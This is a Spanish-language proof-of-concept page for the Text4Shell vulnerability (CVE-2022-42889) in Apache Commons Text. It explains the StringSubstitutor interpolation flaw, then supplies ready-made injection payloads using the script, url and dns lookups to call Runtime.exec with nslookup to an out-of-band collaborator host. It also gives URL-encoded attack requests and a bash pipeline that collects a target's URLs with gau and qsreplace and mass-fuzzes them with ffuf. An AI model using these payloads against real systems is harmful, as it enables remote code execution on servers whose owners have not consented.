
Apache commons text - exploit de prueba de concepto de CVE-2022-42889 Text4Shell.
Apache commons text - Prueba de concepto del exploit CVE-2022-42889 Text4Shell.
CVE-2022-42889 afecta a las versiones 1.5 a 1.9 de Apache Commons Text. Se ha corregido a partir de la versión 1.10 de Commons Text
La vulnerabilidad se ha comparado con Log4Shell, ya que es una vulnerabilidad a nivel de biblioteca de código abierto que probablemente afecte a una amplia variedad de aplicaciones de software que utilizan el objeto correspondiente. Sin embargo, el análisis inicial indica que se trata de una mala comparación. La naturaleza de la vulnerabilidad implica que, a diferencia de Log4Shell, será raro que una aplicación utilice el componente vulnerable de Commons Text para procesar entradas no confiables y potencialmente maliciosas.
La vulnerabilidad existe en el objeto interpolador StringSubstitutor. Un interpolador se crea mediante el método StringSubstitutor.createInterpolator() y permite búsquedas de cadenas tal como se definen en StringLookupFactory. Esto se puede utilizar pasando una cadena “${prefix:name}” donde el prefijo es la búsqueda antes mencionada. El uso de las búsquedas “script”, “dns” o “url” permitiría que una cadena manipulada ejecute scripts arbitrarios cuando se pasa al objeto interpolador.
Si bien es poco probable que este fragmento de código específico exista en aplicaciones de producción, la preocupación es que en algunas aplicaciones la variable pocstring pueda estar controlada por el atacante. En este sentido, la vulnerabilidad recuerda a Log4Shell. Sin embargo, el interpolador StringSubstitutor se usa considerablemente menos que la sustitución de cadenas vulnerable en Log4j, y la naturaleza de dicho interpolador implica que es menos probable que una entrada manipulada llegue al objeto vulnerable que simplemente interactuar con dicha cadena manipulada, como en Log4Shell.
script:javascript
Reemplaza el valor del parámetro con el payload:
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
url
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Burl%3AUTF-8%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
dns
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
https://your-target.com/exploit?search=%24%7Bdns%3Aaddress%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup%20COLLABORATOR-HERE%27%29%7d
${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${url:UTF-8:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
${dns:address:java.lang.Runtime.getRuntime().exec('nslookup COLLABORATOR-HERE')}
for payload in $(cat payloads.txt|sed 's/ COLLABORATOR-HERE/SPACEid.burpcollaborator.com/g'); do echo TARGET.com | gau --blacklist ttf,woff,svg,png | qsreplace "$payload" | sed 's/SPACE/%20/g' | grep "java.lang.Runtime.getRuntime" >> payloads-final.txt;done && ffuf -w payloads-final.txt -u FUZZ
qsreplace ¡Gracias @tomnomnom!